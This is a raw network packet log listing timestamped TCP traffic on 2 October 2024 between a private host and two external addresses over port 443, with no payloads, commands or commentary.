Oct 2, 2024 06:10:18.341113091 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.341130018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.341267109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.341283083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.341336012 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.341350079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.341402054 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.417902946 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.417917967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.417984962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.418009996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.418087006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.436263084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.436294079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.436337948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.436348915 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.436402082 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.436580896 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.436599016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.436650991 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.436660051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.436713934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.436877012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.436902046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.436934948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.436940908 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.436969995 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.436989069 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.437127113 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.437141895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.437196016 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.437203884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.437258005 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.437731981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.437747002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.437809944 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.437818050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.437833071 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.437850952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.437881947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.437889099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.437902927 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.437907934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.437917948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.437932968 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.438102961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.438116074 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.438194990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.480341911 CEST	49716	443	192.168.2.5	20.12.23.50
Oct 2, 2024 06:10:18.480367899 CEST	443	49716	20.12.23.50	192.168.2.5
Oct 2, 2024 06:10:18.480380058 CEST	49716	443	192.168.2.5	20.12.23.50
Oct 2, 2024 06:10:18.480386019 CEST	443	49716	20.12.23.50	192.168.2.5
Oct 2, 2024 06:10:18.506581068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.506602049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.506658077 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.506679058 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.506694078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.506856918 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.525115967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.525131941 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.525186062 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.525209904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.525228024 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.525259972 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.525521040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.525537014 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.525582075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.525589943 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.525623083 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.525631905 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.525829077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.525847912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.525883913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.525890112 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.525909901 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.525938034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.526040077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.526060104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.526092052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.526098967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.526130915 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.526139975 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.526385069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.526400089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.526434898 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.526443005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.526465893 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.526483059 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.526617050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.526632071 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.526676893 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.526684999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.526712894 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.526721954 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.527277946 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.527292013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.527339935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.527348042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.527379990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.527400970 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.594929934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.594949007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.595012903 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.595038891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.595066071 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.595088005 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.613535881 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.613553047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.613595963 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.613605022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.613629103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.613647938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.614229918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.614243984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.614276886 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.614286900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.614312887 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.614321947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.614434958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.614449978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.614494085 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.614500999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.614545107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.614600897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.614615917 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.614659071 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.614667892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.614824057 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.615061998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.615077972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.615109921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.615115881 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.615142107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.615155935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.615370035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.615390062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.615417004 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.615425110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.615451097 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.615461111 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.616187096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.616204023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.616238117 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.616245985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.616270065 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.616281986 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.683579922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.683597088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.683640957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.683650017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.683684111 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.683711052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.701872110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.701889992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.701940060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.701948881 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.701980114 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.702002048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.702634096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.702647924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.702718019 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.702732086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.702822924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.703073025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.703090906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.703134060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.703140974 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.703171015 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.703192949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.703198910 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.703211069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.703254938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.703254938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.703278065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.703305960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.703315973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.703644037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.703658104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.703716993 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.703725100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.703810930 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.704116106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.704133034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.704190969 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.704199076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.704379082 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.704526901 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.704540968 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.704587936 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.704595089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.704644918 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.772217989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.772238016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.772337914 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.772351980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.772411108 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.790652037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.790668964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.790721893 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.790736914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.790755987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.790771008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.791280985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.791296005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.791363001 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.791372061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.791431904 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.792217016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.792232990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.792299032 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.792309999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.792341948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.792361975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.792392969 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.792401075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.792443037 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.792455912 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.792896032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.792917967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.792968035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.792978048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.793006897 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.793143034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.793205023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.793229103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.793267965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.793276072 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.793299913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.793315887 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.793433905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.793447971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.793502092 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.793510914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.793529034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.793550014 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.861057043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.861100912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.861157894 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.861176968 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.861203909 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.861227036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.879203081 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.879220009 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.879292965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.879307032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.879493952 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.879762888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.879780054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.879875898 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.879877090 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.879885912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.879930019 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.880542994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.880559921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.880625963 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.880634069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.880785942 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.880929947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.880944967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.881005049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.881033897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.881349087 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.881369114 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.881382942 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.881392956 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.881408930 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.881448984 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.881711960 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.881726980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.881792068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.881802082 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.881916046 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.882055998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.882074118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.882123947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.882133007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.882256985 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.949497938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.949517012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.949567080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.949599981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.949620008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.949647903 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.968050003 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.968074083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.968107939 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.968118906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.968131065 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.968214035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.968858004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.968873024 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.968921900 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.968926907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.968950033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.968969107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.970120907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.970138073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.970184088 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.970190048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.970210075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.970226049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.970474958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.970490932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.970529079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.970535994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.970575094 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.970726013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.970741034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.970788002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.970793009 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.970804930 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.970887899 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.970973015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.970988035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.971025944 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.971031904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.971061945 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.971070051 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.971215963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.971230984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.971266031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.971272945 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:18.971343040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:18.971343040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.043536901 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.043554068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.043601990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.043617964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.043628931 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.043704033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:19.056473970 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.056488991 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:19.056531906 CEST	49715	443	192.168.2.5	167.114.14.168
